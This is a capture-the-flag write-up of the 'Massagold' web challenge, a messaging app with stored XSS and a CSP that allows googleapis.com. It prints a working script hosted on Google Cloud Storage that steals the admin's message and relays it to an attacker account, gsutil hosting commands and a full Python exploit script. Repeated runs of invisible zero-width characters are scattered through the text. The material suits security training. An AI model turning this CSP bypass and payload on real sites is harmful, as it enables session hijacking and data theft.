← Back to Writeups
CUSTOMMediumWeb

Massagold

XESXOR9/2/20264 min read
#web#custom#medium#gcs_script_hosting_csp_bypass#stored_html_injection_unescape#same_origin_message_exfiltrati#admin_bot_exploitation

Massagold

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: gcs_script_hosting_csp_bypass, stored_html_injection_unescaped_ejs, same_origin_message_exfiltration, admin_bot_exploitation

Summary

Walkthrough of the CUSTOM Web Massagold. Task: Node.js/Express messaging app with stored XSS via unescaped EJS and CSP allowing www.googleapis.com. Solution: Host malicious JS on Google Cloud Storage to bypass CSP, exfiltrate admin's flag me

Description

Someone is using sealed harbor letters to make Damas's ships look late, unsafe, and unreliable. If this continues, Eastreach merchants will leave his ports and his enemies will profit from the panic. Lyra needs to steal the first false letter from the harbor office and bring it to Damas, because proof of sabotage is the only thing that can make him open his routes to Stormbound.

English summary: A Node.js/Express web application ("Rookery") implements a medieval-themed messaging system where users send sealed letters. An admin bot (Playwright Firefox) automatically visits messages sent to the "admin" user. The flag is stored in message ID 1, sent from "archivist" to "admin" during database seeding. The goal is to steal this message content from the admin's session. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Application Architecture

  • Stack: Node.js 22, Express 4.18, EJS 3.1, SQLite3, Playwright Firefox, Nginx reverse proxy
  • Session: express-session with random 32-byte hex secret, httpOnly cookies
  • Database: SQLite with parameterized queries (no SQL injection)
  • Bot: Playwright Firefox, headless — logs in as admin, visits /messages/<id> with 10s timeout + 2s wait
  • Seeded users: admin, archivist, scribe, ravenmaster, minstrel, alchemist (all with random passwords) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability 1: Stored XSS via Unescaped EJS

In app/views/message.ejs line 17, message content is rendered with the unescaped EJS output tag <%-:

html
<pre class="letter-copy"><%- message.content %></pre>

The <%- tag outputs raw HTML without escaping (unlike <%= which escapes), allowing full HTML/script injection via the message content field. The sendMessage controller stores req.body.content directly into the database with no sanitization.

Vulnerability 2: CSP Allows www.googleapis.com for Scripts

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The application sets a Content Security Policy in server.js:

default-src 'self';
script-src 'self' https://www.googleapis.com;
style-src 'self';
img-src 'self' data:;
font-src 'self' data:;
connect-src 'self';
object-src 'none';
form-action 'self';
frame-ancestors 'none'

The critical observation: script-src allows https://www.googleapis.com. Google Cloud Storage objects can be served via:

https://www.googleapis.com/download/storage/v1/b/BUCKET/o/OBJECT?alt=media

This URL has host www.googleapis.com, satisfying the CSP. The response has Content-Type: application/javascript (for .js files) and no X-Content-Type-Options: nosniff, so browsers execute it as a script. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Flag Location

The flag is in message ID 1, seeded in entrypoint.js:

javascript
await createMessage(users.archivist, users.admin,
  `Archive notice:\n\nThe sealed royal record reads:\n${flag}`);

Only the admin can read this message (the showMessage controller checks messages.recipient_id = ? against the session user ID).

Exfiltration Constraint

connect-src 'self' blocks fetch/XHR to external origins. Exfiltration must be done same-origin — the XSS script (running as admin) can fetch /messages/1 and relay the content by creating a new message via POST /messages. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Create GCS-Hosted XSS Payload

Create a public Google Cloud Storage bucket and upload a malicious JavaScript file:

javascript
// xss.js — hosted on GCS
(async () => {
  try {
    const resp = await fetch('/messages/1', { credentials: 'same-origin' });
    const html = await resp.text();
    const m = html.match(/<pre class="letter-copy">([\s\S]*?)<\/pre>/);
    const flagContent = m ? m[1].trim() : 'EXTRACT_FAILED:' + html.substring(0, 500);
    const body = new URLSearchParams();
    body.append('to_username', 'xssreceiver');
    body.append('content', flagContent);
    await fetch('/messages', {
      method: 'POST',
      credentials: 'same-origin',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: body.toString()
    });
  } catch (e) {
    const body = new URLSearchParams();
    body.append('to_username', 'xssreceiver');
    body.append('content', 'XSS_ERROR:' + e.toString());
    fetch('/messages', {
      method: 'POST',
      credentials: 'same-origin',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: body.toString()
    });
  }
})();

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Upload to GCS with public ACL:

bash
gsutil mb gs://massagold-xss-b1
gsutil cp xss.js gs://massagold-xss-b1/xss.js
gsutil acl ch -u AllUsers:R gs://massagold-xss-b1/xss.js

The script URL becomes:

https://www.googleapis.com/download/storage/v1/b/massagold-xss-b1/o/xss.js?alt=media

Step 2: Exploit Script

python
#!/usr/bin/env python3
import requests, time, sys, re

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:1337"
ATTACKER_USER = "xssreceiver"
ATTACKER_PASS = "password123"
XSS_SCRIPT_URL = "https://www.googleapis.com/download/storage/v1/b/massagold-xss-b1/o/xss.js?alt=media"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def main():
    s = requests.Session()

    # 1. Register attacker user
    s.post(f"{TARGET}/register",
           data={"username": ATTACKER_USER, "password": ATTACKER_PASS},
           allow_redirects=False)

    # 2. Send XSS payload to admin
    payload = f'<script src="{XSS_SCRIPT_URL}"></script>'
    s.post(f"{TARGET}/messages",
           data={"to_username": "admin", "content": payload},
           allow_redirects=False)

    # 3. Wait for admin bot to visit the message
    time.sleep(15)

    # 4. Check inbox for exfiltrated flag
    r = s.get(f"{TARGET}/")
    msg_ids = re.findall(r'href="/messages/(\d+)"', r.text)
    for mid in msg_ids:
        r = s.get(f"{TARGET}/messages/{mid}")
        m = re.search(r'<pre class="letter-copy">([\s\S]*?)</pre>', r.text)
        if m:
            content = m.group(1).strip()
            if "HTB{" in content:
                print(f"FLAG: {content}")
                return content
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    main()

Attack Chain Summary

  1. Register user xssreceiver on the target
  2. Send a message to admin with XSS payload: <script src="https://www.googleapis.com/download/storage/v1/b/BUCKET/o/xss.js?alt=media"></script>
  3. Admin bot logs in and visits the message at /messages/<id>
  4. CSP allows www.googleapis.com — the GCS-hosted script executes in admin's browser session
  5. Script fetches /messages/1 (the flag message), extracts content from <pre class="letter-copy">...</pre>
  6. Script POSTs the flag as a new message from admin to xssreceiver (same-origin, allowed by CSP)
  7. Login as xssreceiver, read inbox — flag received ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering gcs_script_hosting_csp_bypass, stored_html_injection_unescaped_ejs, same_origin_message_exfiltration, admin_bot_exploitation was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-07-27 • CUSTOM • Massagold • Difficulty: Medium